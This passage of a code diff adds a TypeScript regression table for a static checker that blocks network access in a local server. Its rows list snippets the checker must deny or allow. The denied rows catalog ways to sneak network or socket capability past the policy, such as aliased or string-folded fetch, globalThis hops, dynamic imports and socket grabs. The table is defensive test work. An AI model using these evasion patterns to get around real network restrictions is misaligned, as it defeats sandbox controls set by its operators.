+ if (path === '/') {
+ response.statusCode = 200;
+ response.setHeader('Content-Type', 'text/html; charset=utf-8');
+ response.end(page);
+ return;
+ }
+ if (path === '/styles.css') {
+ response.statusCode = 200;
+ response.end(STYLES);
+ return;
+ }
+ response.statusCode = 404;
+ response.end('404 Not Found');
+ });
+}
+
+function main(): void {
+ const server = createCockpitServer();
+ server.listen(PORT, HOST, () => {
+ console.log(\`AgentBridge Cockpit: http://\${HOST}:\${String(PORT)}/\`);
+ });
+}
+
+const entryArgument = process.argv[1];
+const isEntry = entryArgument !== undefined && import.meta.url === pathToFileURL(entryArgument).href;
+if (isEntry) {
+ main();
+}
+`;
+
+// ---------------------------------------------------------------------------
+// Row builders
+// ---------------------------------------------------------------------------
+
+interface RowExtras {
+ readonly options?: NetworkPolicyOptions;
+ readonly closes?: readonly Pr64Finding[];
+}
+
+const deny = (
+ category: RegressionCategory,
+ name: string,
+ source: string,
+ reasons: readonly ReasonCode[],
+ extras: RowExtras = {},
+): RegressionRow => ({ category, name, source, expectation: 'MUST_DENY', reasons, ...extras });
+
+const allow = (category: RegressionCategory, name: string, source: string, extras: RowExtras = {}): RegressionRow => ({
+ category,
+ name,
+ source,
+ expectation: 'MUST_ALLOW',
+ ...extras,
+});
+
+const outside = (category: RegressionCategory, name: string, source: string): RegressionRow => ({
+ category,
+ name,
+ source,
+ expectation: 'OUTSIDE_DECLARED_BOUNDARY',
+});
+
+// ---------------------------------------------------------------------------
+// 1. free-global identity
+// ---------------------------------------------------------------------------
+
+const FREE_GLOBAL: readonly RegressionRow[] = [
+ deny('free-global identity', 'bare fetch call', `fetch('https://example.com/');`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch aliased into a const', `const f = fetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch stored in an array', `const fns = [fetch];`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch as a call argument', `use(fetch);`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch returned from a function', `function get() { return fetch; }`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch as shorthand property value', `const o = { fetch };`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'fetch exported by specifier without a local binding', `export { fetch };`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'WebSocket constructed', `new WebSocket('wss://example.com/');`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'typeof fetch is still a value read', `const t = typeof fetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny(
+ 'free-global identity',
+ 'ambient const shadow does not exist at runtime',
+ `declare const fetch: (url: string) => unknown;\nfetch('https://example.com/');`,
+ ['FREE_GLOBAL_NETWORK'],
+ ),
+ deny(
+ 'free-global identity',
+ 'ambient function shadow does not exist at runtime',
+ `declare function fetch(url: string): unknown;\nfetch('https://example.com/');`,
+ ['FREE_GLOBAL_NETWORK'],
+ ),
+ deny(
+ 'free-global identity',
+ 'ambient namespace member shadow does not exist at runtime',
+ `declare namespace fetch { const x: number; }\nfetch;`,
+ ['FREE_GLOBAL_NETWORK'],
+ ),
+ deny('free-global identity', 'type-only shadow does not exist at runtime', `type fetch = string;\nfetch('x');`, ['FREE_GLOBAL_NETWORK']),
+ deny(
+ 'free-global identity',
+ 'type-only import shadow does not exist at runtime',
+ `import type { fetch } from './x.js';\nfetch('x');`,
+ ['FREE_GLOBAL_NETWORK'],
+ ),
+ deny('free-global identity', 'const enum shadow is erased at runtime', `const enum fetch { A }\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'globalThis.fetch member', `globalThis.fetch('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'window["fetch"] static element key', `window['fetch']('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'self folded concatenation key', `self['fe' + 'tch']('https://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'global.WebSocket member', `new global.WebSocket('wss://example.com/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'globalThis.globalThis self-hop', `globalThis.globalThis.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'mixed static self-hop chain', `globalThis.self['window'].global.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'wrapped receiver', `(globalThis as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional-chained receiver', `globalThis?.fetch?.('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'global receiver forwarded through const', `const g = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'global receiver forwarded through container', `const box = [window];`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'global receiver forwarded through call argument', `use(self);`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'global receiver forwarded through return', `function g() { return globalThis; }`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'global receiver forwarded through assignment', `let g; g = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'global receiver forwarded through arbitrary expression', `const g = globalThis ?? null;`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'destructured fetch from globalThis', `const { fetch: f } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'shorthand destructured fetch from globalThis', `const { fetch } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'nested self-hop destructuring', `const { self: { fetch: f } } = globalThis;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'self-hop destructured into a binding', `const { self: s } = globalThis;`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'rest destructuring of globalThis', `const { ...rest } = globalThis;`, ['GLOBAL_RECEIVER_DESTRUCTURING']),
+ deny('free-global identity', 'array destructuring of globalThis', `const [first] = globalThis as any;`, ['GLOBAL_RECEIVER_DESTRUCTURING']),
+ deny('free-global identity', 'destructuring assignment from globalThis', `let f;\n({ fetch: f } = globalThis);`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny(
+ 'free-global identity',
+ 'nested destructuring assignment from globalThis',
+ `let f;\n({ window: { fetch: f } } = globalThis);`,
+ ['GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ ),
+ allow('free-global identity', 'runtime const shadow of fetch', `const fetch = (url: string) => url;\nfetch('x');`),
+ allow('free-global identity', 'runtime function shadow of fetch', `function fetch() { return 1; }\nfetch();`),
+ allow('free-global identity', 'parameter shadow of fetch', `function run(fetch: () => void) { fetch(); }`),
+ allow('free-global identity', 'binding-element shadow of fetch', `const { fetch } = { fetch: 1 };\nfetch;`),
+ allow('free-global identity', 'class shadow of WebSocket', `class WebSocket {}\nnew WebSocket();`),
+ allow('free-global identity', 'runtime enum shadow of fetch', `enum fetch { A }\nfetch.A;`),
+ allow('free-global identity', 'value import shadow of fetch', `import { fetch } from './local.js';\nfetch('x');`),
+ allow('free-global identity', 'instantiated namespace shadow of fetch', `namespace fetch {\n export function get(value: string) {\n return value;\n }\n}\nfetch.get('x');`),
+ allow('free-global identity', 'instantiated namespace shadow of WebSocket', `namespace WebSocket {\n export const x = 1;\n}\nWebSocket.x;`),
+ allow('free-global identity', 'nested instantiated namespace shadow of fetch', `namespace fetch {\n export namespace inner {\n export class C {}\n }\n}\nnew fetch.inner.C();`),
+ allow('free-global identity', 'runtime import-equals shadow of fetch', `import fetch = require('./local.js');\nfetch('x');`),
+ allow('free-global identity', 'namespace instantiated by an exported runtime import alias (fetch)', `namespace Local {\n export const get = (value: string) => value;\n}\nnamespace fetch {\n export import get = Local.get;\n}\nfetch.get('x');`),
+ allow('free-global identity', 'namespace instantiated by an exported runtime import alias (WebSocket)', `namespace Local {\n export const open = (url: string) => url;\n}\nnamespace WebSocket {\n export import open = Local.open;\n}\nWebSocket.open('x');`),
+ deny('free-global identity', 'namespace holding only a private type alias import stays erased', `namespace Local {\n export type T = string;\n}\nnamespace fetch {\n import T = Local.T;\n}\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'type-only namespace is erased at runtime', `namespace fetch {\n export type T = string;\n export interface I { x: number }\n}\nfetch;`, ['FREE_GLOBAL_NETWORK']),
+ deny('free-global identity', 'type-only import-equals is erased at runtime', `import type fetch = require('./local.js');\nfetch('x');`, ['FREE_GLOBAL_NETWORK']),
+ allow('free-global identity', 'fetch as a property key and member name', `const o = { fetch: 1 };\no.fetch;`),
+ allow('free-global identity', 'WebSocket in a type position', `let ws: WebSocket | null = null;\nws;`),
+ allow('free-global identity', 'fetch as a label', `fetch: for (;;) { break fetch; }`),
+ allow('free-global identity', 'harmless global member read', `globalThis.console.log('x');`),
+ allow('free-global identity', 'global receiver as expression statement, void, typeof', `globalThis;\nvoid window;\ntypeof self;`),
+ allow('free-global identity', 'over-long global key is not a capability', `globalThis['aVeryLongPropertyNameThatIsNotACapability'];`),
+ allow('free-global identity', 'harmless destructuring from globalThis', `const { console: c } = globalThis;\nc.log('x');`),
+ allow('free-global identity', 'shadowed self is an ordinary object', `const self = { fetch: 1 };
+self.fetch;`),
+ allow('free-global identity', 'shadowed window parameter is an ordinary object', `function f(window: { fetch: number }) { return window.fetch; }`),
+ deny(
+ 'free-global identity',
+ 'globalThis cannot be shadowed (TypeScript binds the name to the intrinsic global)',
+ `const globalThis = { fetch: 1 };
+globalThis.fetch;`,
+ ['GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ ),
+ allow('free-global identity', 'global-root name as a property key', `const g = { globalThis: 1, window: 2 };\ng.globalThis + g.window;`),
+];
+
+// ---------------------------------------------------------------------------
+// 2. node:http namespace/client capability
+// ---------------------------------------------------------------------------
+
+const HTTP_CAPABILITY: readonly RegressionRow[] = [
+ deny('node:http namespace/client capability', 'named import of request', `import { request } from 'node:http';\nrequest('x');`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'named import of get', `import { get } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'named import of Agent', `import { Agent } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'named import of ClientRequest', `import { ClientRequest } from 'node:http';`, ['HTTP_CLIENT_CAPABILITY']),
+ deny(
+ 'node:http namespace/client capability',
+ 'createServer alongside a client import',
+ `import { createServer, request } from 'node:http';\ncreateServer(${L_PLAIN});`,
+ ['HTTP_CLIENT_CAPABILITY'],
+ ),
+ deny('node:http namespace/client capability', 'bare http specifier client import', `import { request } from 'http';`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace http.request', `${NS}\nhttp.request('x');`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace http.get', `${STAR}\nhttp.get('x');`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace new http.Agent', `${NS}\nnew http.Agent();`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace globalAgent read', `${NS}\nconst a = http.globalAgent;`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace folded client key', `${NS}\nhttp['req' + 'uest']('x');`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace STATUS_CODES is not allow-listed', `${NS}\nhttp.STATUS_CODES;`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('node:http namespace/client capability', 'namespace runtime key', `${NS}\ndeclare const k: string;\nhttp[k]('x');`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('node:http namespace/client capability', 'namespace aliased', `${NS}\nconst h = http;`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'namespace destructured', `${NS}\nconst { createServer } = http;`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'namespace passed as argument', `${NS}\nuse(http);`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'namespace exported', `${NS}\nexport { http };`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'namespace default-exported', `${NS}\nexport default http;`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'namespace in a container', `${NS}\nconst box = { http };`, ['HTTP_NAMESPACE_ESCAPE']),
+ deny('node:http namespace/client capability', 'import-equals require of node:http', `import http = require('node:http');`, ['HTTP_IMPORT_EQUALS']),
+ deny('node:http namespace/client capability', 'dynamic import of node:http', `const m = await import('node:http');`, ['HTTP_DYNAMIC_IMPORT']),
+ deny('node:http namespace/client capability', 'dynamic import of folded node:http', `import('node:' + 'http');`, ['HTTP_DYNAMIC_IMPORT']),
+ deny('node:http namespace/client capability', 'dynamic import with indeterminate specifier', `declare const spec: string;\nimport(spec);`, ['HTTP_DYNAMIC_IMPORT']),
+ deny('node:http namespace/client capability', 'star re-export of node:http', `export * from 'node:http';`, ['HTTP_REEXPORT']),
+ deny('node:http namespace/client capability', 'named re-export of createServer', `export { createServer } from 'node:http';`, ['HTTP_REEXPORT']),
+ deny('node:http namespace/client capability', 'namespace re-export of node:http', `export * as h from 'node:http';`, ['HTTP_REEXPORT']),
+ deny('node:http namespace/client capability', 'createServer extracted from namespace', `${NS}\nconst cs = http.createServer;`, ['CREATE_SERVER_NOT_CALLED']),
+ deny('node:http namespace/client capability', 'createServer binding aliased', `${NAMED}\nconst cs = createServer;`, ['CREATE_SERVER_ESCAPE']),
+ deny('node:http namespace/client capability', 'createServer binding exported', `${NAMED}\nexport { createServer };`, ['CREATE_SERVER_ESCAPE']),
+ deny('node:http namespace/client capability', 'createServer binding passed as argument', `${NAMED}\nuse(createServer);`, ['CREATE_SERVER_ESCAPE']),
+ allow('node:http namespace/client capability', 'type-only named import', `import type { IncomingMessage } from 'node:http';\nlet m: IncomingMessage | null = null;\nm;`),
+ allow(
+ 'node:http namespace/client capability',
+ 'inline type import beside createServer',
+ `import { type IncomingMessage, createServer } from 'node:http';\ncreateServer(${L_PLAIN});`,
+ ),
+ allow('node:http namespace/client capability', 'side-effect import', `import 'node:http';`),
+ allow('node:http namespace/client capability', 'type-only re-export', `export type { Server } from 'node:http';`),
+ allow('node:http namespace/client capability', 'star namespace createServer', `${STAR}\nhttp.createServer(${L});`),
+ allow('node:http namespace/client capability', 'default namespace createServer', `${NS}\nhttp.createServer(${L});`),
+ allow('node:http namespace/client capability', 'named createServer', `${NAMED}\ncreateServer(${L_PLAIN});`),
+ allow('node:http namespace/client capability', 'renamed named createServer', `import { createServer as make } from 'node:http';\nmake(${L_PLAIN});`),
+ allow('node:http namespace/client capability', 'namespace used only in type positions', `${NS}\nlet s: http.Server | null = null;\nlet t: typeof http | null = null;\ns; t;`),
+];
+
+// ---------------------------------------------------------------------------
+// 3. static/computed keys
+// ---------------------------------------------------------------------------
+
+const STATIC_KEYS: readonly RegressionRow[] = [
+ allow('static/computed keys', 'string literal key', `${NS}\nhttp['createServer'](${L});`),
+ allow('static/computed keys', 'no-substitution template key', `${NS}\nhttp[\`createServer\`](${L});`),
+ allow('static/computed keys', 'unique const key', `${NS}\nconst K = 'createServer';\nhttp[K](${L});`),
+ allow('static/computed keys', 'folded concatenation', `${NS}\nconst A = 'create';\nconst B = 'Server';\nhttp[A + B](${L});`),
+ allow('static/computed keys', 'template substitution of a const', `${NS}\nconst A = 'create';\nhttp[\`\${A}Server\`](${L});`),
+ allow('static/computed keys', 'wrapped const key', `${NS}\nconst K = 'createServer';\nhttp[(K as string)!](${L});`),
+ allow('static/computed keys', 'satisfies-wrapped key', `${NS}\nconst K = 'createServer' satisfies string;\nhttp[K](${L});`),
+ allow('static/computed keys', 'scope-sensitive inner const resolves', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n http[K](${L});\n}`),
+ allow('static/computed keys', 'request static element key', inListener(`request['url'];\nrequest['met' + 'hod'];`)),
+ allow('static/computed keys', 'response static element key', inListener(`response['statusCode'] = 200;\nresponse['end']();`)),
+ allow('static/computed keys', 'server static element key', withServer(`server['listen'](1);`)),
+ deny('static/computed keys', 'outer const resolves to client key', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n}\nhttp[K]('x');`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('static/computed keys', 'let key is indeterminate', `${NS}\nlet K = 'createServer';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('static/computed keys', 'written const key is indeterminate', `${NS}\nconst K = 'createServer';\n(K as any) = 'x';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('static/computed keys', 'cyclic const keys are indeterminate', `${NS}\nconst A: string = B;\nconst B: string = A;\nhttp[A](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('static/computed keys', 'destructured key is indeterminate', `${NS}\nconst { K } = { K: 'createServer' };\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('static/computed keys', 'over-long key on proven target is denied', `${NS}\nhttp['createServerButMuchLongerThanAnyPolicyName'](${L});`, ['HTTP_CLIENT_CAPABILITY']),
+ deny('static/computed keys', 'resolved non-allowed key on request', inListener(`request['soc' + 'ket'];`), ['REQUEST_MEMBER']),
+ deny('static/computed keys', 'resolved non-allowed key on server', withServer(`server[\`on\`]('connection', () => {});`), ['SERVER_MEMBER']),
+];
+
+// ---------------------------------------------------------------------------
+// 4. shorthand value binding
+// ---------------------------------------------------------------------------
+
+const SHORTHAND: readonly RegressionRow[] = [
+ deny('shorthand value binding', 'server as shorthand property value', withServer(`const box = { server };`), ['SERVER_ESCAPE'], { closes: ['F-3'] }),
+ deny('shorthand value binding', 'request as shorthand property value', inListener(`const box = { request };`), ['REQUEST_ESCAPE'], { closes: ['F-3'] }),
+ deny('shorthand value binding', 'response as shorthand property value', inListener(`const box = { response };`), ['RESPONSE_ESCAPE'], { closes: ['F-3'] }),
+ deny('shorthand value binding', 'shorthand return container', withFactory(`function bundle() { const server = createCockpitServer(); return { server }; }`), ['SERVER_ESCAPE'], {
+ closes: ['F-3'],
+ }),
+ deny('shorthand value binding', 'shorthand destructuring assignment onto request', inListener(`({ request } = { request: null } as any);`), ['REQUEST_DESTRUCTURING'], {
+ closes: ['F-3'],
+ }),
+ deny('shorthand value binding', 'shorthand export of server', withServer(`export { server };`), ['SERVER_EXPORT'], { closes: ['F-3', 'F-7'] }),
+ allow('shorthand value binding', 'property key named request is not a value read', inListener(`const box = { request: 1 };\nbox.request;`)),
+ allow(
+ 'shorthand value binding',
+ 'shorthand of a same-named unrelated binding in another scope',
+ `${NS}\nhttp.createServer(${L});\nfunction other() { const request = 1; const response = 2; return { request, response }; }`,
+ ),
+];
+
+// ---------------------------------------------------------------------------
+// 5. socket acquisition through proven target policy
+// ---------------------------------------------------------------------------
+
+const SOCKET: readonly RegressionRow[] = [
+ deny('socket acquisition through proven target policy', 'request.socket', inListener(`request.socket;`), ['REQUEST_MEMBER']),
+ deny('socket acquisition through proven target policy', 'request.socket.write chain', inListener(`request.socket.write('x');`), ['REQUEST_MEMBER']),
+ deny('socket acquisition through proven target policy', 'request.connection', inListener(`const c = request.connection;`), ['REQUEST_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.socket', inListener(`response.socket;`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.connection.write', inListener(`response.connection.write('x');`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'destructured socket from request', inListener(`const { socket } = request;`), ['REQUEST_DESTRUCTURING'], { closes: ['F-2'] }),
+ deny('socket acquisition through proven target policy', 'destructured socket from response', inListener(`const { socket: s } = response;`), ['RESPONSE_DESTRUCTURING'], { closes: ['F-2'] }),
+ deny('socket acquisition through proven target policy', 'renamed destructuring of an innocuous key still denied', inListener(`const { url } = request;`), ['REQUEST_DESTRUCTURING'], {
+ closes: ['F-2'],
+ }),
+ deny('socket acquisition through proven target policy', 'request event subscription', inListener(`request.on('data', () => {});`), ['REQUEST_MEMBER']),
+ deny('socket acquisition through proven target policy', 'request.headers read', inListener(`request.headers;`), ['REQUEST_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.write', inListener(`response.write('x');`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.writeHead', inListener(`response.writeHead(200);`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.getHeader (benign but not allow-listed)', inListener(`response.getHeader('x');`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'response.statusCode read', inListener(`const c = response.statusCode;`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'server.on connection', withServer(`server.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'server.address', withServer(`server.address();`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'server.listen read without call', withServer(`const l = server.listen;`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'server.listen.call nested chain', withServer(`server.listen.call(server, 1);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']),
+ deny('socket acquisition through proven target policy', 'server.close.bind', withServer(`const c = server.close.bind(server);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']),
+ deny('socket acquisition through proven target policy', 'optional-chained listen', withServer(`server?.listen(1);`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'server.connections', withServer(`server.connections;`), ['SERVER_MEMBER']),
+ allow('socket acquisition through proven target policy', 'listen with callback', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)),
+ allow('socket acquisition through proven target policy', 'close', withServer(`server.close();`)),
+ allow('socket acquisition through proven target policy', 'request.method and request.url', inListener(`const m = request.method ?? '';\nconst u = request.url;\nm + u;`)),
+ allow('socket acquisition through proven target policy', 'response setHeader/end/statusCode', inListener(`response.statusCode = 404;\nresponse.setHeader('a', 'b');\nresponse.end('x');`)),
+];
+
+// ---------------------------------------------------------------------------
+// 6. runtime keys
+// ---------------------------------------------------------------------------
+
+const RUNTIME_KEYS: readonly RegressionRow[] = [
+ deny('runtime keys', 'server[k]()', withServer(`declare const k: string;\nserver[k]();`), ['SERVER_MEMBER']),
+ deny('runtime keys', 'request[k]', inListener(`declare const k: string;\nrequest[k];`), ['REQUEST_MEMBER']),
+ deny('runtime keys', 'response[k] = 1', inListener(`declare const k: string;\nresponse[k] = 1;`), ['RESPONSE_MEMBER']),
+ deny('runtime keys', 'server[fn()]', withServer(`server[String(1)]();`), ['SERVER_MEMBER']),
+ deny('runtime keys', 'globalThis[k]', `declare const k: string;\nglobalThis[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
+ deny('runtime keys', 'computed destructuring key from globalThis', `declare const k: string;\nconst { [k]: v } = globalThis;`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
+ deny('runtime keys', 'computed destructuring assignment key from globalThis', `declare const k: string;\nlet v;\n({ [k]: v } = globalThis);`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
+ deny('runtime keys', 'parameter key on request', inListener(`function read(k: string) { return request[k]; }`), ['REQUEST_MEMBER']),
+ deny('runtime keys', 'http[k] with parameter', `${NS}\nfunction pick(k: string) { return http[k]; }`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+];
+
+// ---------------------------------------------------------------------------
+// 7. alias propagation
+// ---------------------------------------------------------------------------
+
+const ALIAS: readonly RegressionRow[] = [
+ allow('alias propagation', 'const alias chain of server', withServer(`const a = server;\nconst b = a;\nb.listen(1);`)),
+ allow('alias propagation', 'wrapped alias', withServer(`const a = (server as http.Server)!;\na.close();`)),
+ allow('alias propagation', 'alias of request and response in listener', inListener(`const q = request;\nconst s = response;\nq.url;\ns.end();`)),
+ allow('alias propagation', 'alias used as statement, void, typeof', withServer(`const a = server;\na;\nvoid a;\ntypeof a;`)),
+ deny('alias propagation', 'let binding of server', `${NS}\nlet server = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
+ deny('alias propagation', 'var binding of server', `${NS}\nvar server = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
+ deny('alias propagation', 'let alias of server', withServer(`let a = server;`), ['SERVER_MUTABLE_BINDING']),
+ deny('alias propagation', 'let alias of response', inListener(`let r = response;`), ['RESPONSE_MUTABLE_BINDING']),
+ deny('alias propagation', 'exported const alias of server', withServer(`export const a = server;`), ['SERVER_EXPORT']),
+ deny('alias propagation', 'written const alias is not immutable', withServer(`const a = server;
+(a as any) = null;`), ['SERVER_MUTABLE_BINDING']),
+ deny('alias propagation', 'conditional initializer', withServer(`const a = Math.random() > 0.5 ? server : null;`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'comma initializer', inListener(`const r = (0, request);`), ['REQUEST_ESCAPE']),
+ deny('alias propagation', 'await initializer', inListener(`const r = await response;`), ['RESPONSE_ESCAPE']),
+ deny('alias propagation', 'container initializer', withServer(`const [a] = [server];`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'destructuring initializer', withServer(`const { listen } = server;`), ['SERVER_DESTRUCTURING']),
+ deny('alias propagation', 'assignment forwarding', withServer(`let a;\na = server;`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'alias then escape', withServer(`const a = server;\nuse(a);`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'alias then non-allowed member', inListener(`const q = request;\nq.socket;`), ['REQUEST_MEMBER']),
+ deny('alias propagation', 'ambient const alias', withServer(`declare const a: typeof server;\nconst b = server;\nb.on('x', () => {});`), ['SERVER_MEMBER']),
+];
+
+// ---------------------------------------------------------------------------
+// 8. local function propagation
+// ---------------------------------------------------------------------------
+
+const LOCAL_PROPAGATION: readonly RegressionRow[] = [
+ allow(
+ 'local function propagation',
+ 'FunctionDeclaration receives response (real host applySecurityHeaders)',
+ `${NS}\nfunction applySecurityHeaders(response: http.ServerResponse): void { response.setHeader('a', 'b'); }\nhttp.createServer((request, response) => { applySecurityHeaders(response); });`,
+ ),
+ allow(
+ 'local function propagation',
+ 'const arrow receives response',
+ `${NS}\nconst apply = (res: http.ServerResponse): void => { res.end(); };\nhttp.createServer((request, response) => { apply(response); });`,
+ ),
+ allow(
+ 'local function propagation',
+ 'const function expression receives request',
+ `${NS}\nconst read = function (req: http.IncomingMessage) { return req.url; };\nhttp.createServer((request, response) => { read(request); response.end(); });`,
+ ),
+ allow(
+ 'local function propagation',
+ 'two-hop propagation',
+ `${NS}\nfunction a(res: http.ServerResponse) { b(res); }\nfunction b(res: http.ServerResponse) { res.end(); }\nhttp.createServer((request, response) => { a(response); });`,
+ ),
+ allow(
+ 'local function propagation',
+ 'parameter with default initializer',
+ `${NS}\ndeclare const fallback: http.ServerResponse;\nfunction a(res: http.ServerResponse = fallback) { res.end(); }\nhttp.createServer((request, response) => { a(response); });`,
+ ),
+ allow('local function propagation', 'server passed to eligible local setup', withServer(`function setup(s: http.Server) { s.listen(1); }\nsetup(server);`)),
+ allow('local function propagation', 'createServer result passed directly to eligible callee', `${NS}\nfunction setup(s: http.Server) { s.listen(1); }\nsetup(http.createServer(${L}));`),
+ allow(
+ 'local function propagation',
+ 'mutually recursive propagation converges',
+ `${NS}\nfunction a(res: http.ServerResponse, n: number) { if (n > 0) b(res, n - 1); else res.end(); }\nfunction b(res: http.ServerResponse, n: number) { a(res, n); }\nhttp.createServer((request, response) => { a(response, 3); });`,
+ ),
+ deny(
+ 'local function propagation',
+ 'propagated response misused',
+ `${NS}\nfunction f(res: http.ServerResponse) { res.socket; }\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_MEMBER'],
+ ),
+ deny(
+ 'local function propagation',
+ 'propagated request destructured',
+ `${NS}\nfunction f(req: http.IncomingMessage) { const { socket } = req; }\nhttp.createServer((request, response) => { f(request); });`,
+ ['REQUEST_DESTRUCTURING'],
+ { closes: ['F-1'] },
+ ),
+ deny(
+ 'local function propagation',
+ 'propagated server misused two hops away',
+ withServer(`function a(s: http.Server) { b(s); }\nfunction b(s: http.Server) { s.on('x', () => {}); }\na(server);`),
+ ['SERVER_MEMBER'],
+ ),
+ deny(
+ 'local function propagation',
+ 'rest parameter callee',
+ `${NS}\nfunction f(...args: unknown[]) { args; }\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ ),
+ deny(
+ 'local function propagation',
+ 'pattern parameter callee',
+ `${NS}\nfunction f({ socket }: http.IncomingMessage) { socket; }\nhttp.createServer((request, response) => { f(request); });`,
+ ['REQUEST_ESCAPE'],
+ ),
+ deny(
+ 'local function propagation',
+ 'missing parameter callee',
+ `${NS}\nfunction f() { return 1; }\nhttp.createServer((request, response) => { f(response); });`,
+ ['RESPONSE_ESCAPE'],
+ ),
+ deny('local function propagation', 'unknown callee', inListener(`use(response);`), ['RESPONSE_ESCAPE']),
+ deny('local function propagation', 'method callee', inListener(`const o = { handle(r: unknown) { return r; } };\no.handle(response);`), ['RESPONSE_ESCAPE']),
+ deny('local function propagation', 'spread argument', `${NS}\nfunction f(res: unknown) { res; }\nhttp.createServer((request, response) => { f(...[response]); });`, ['RESPONSE_ESCAPE']),
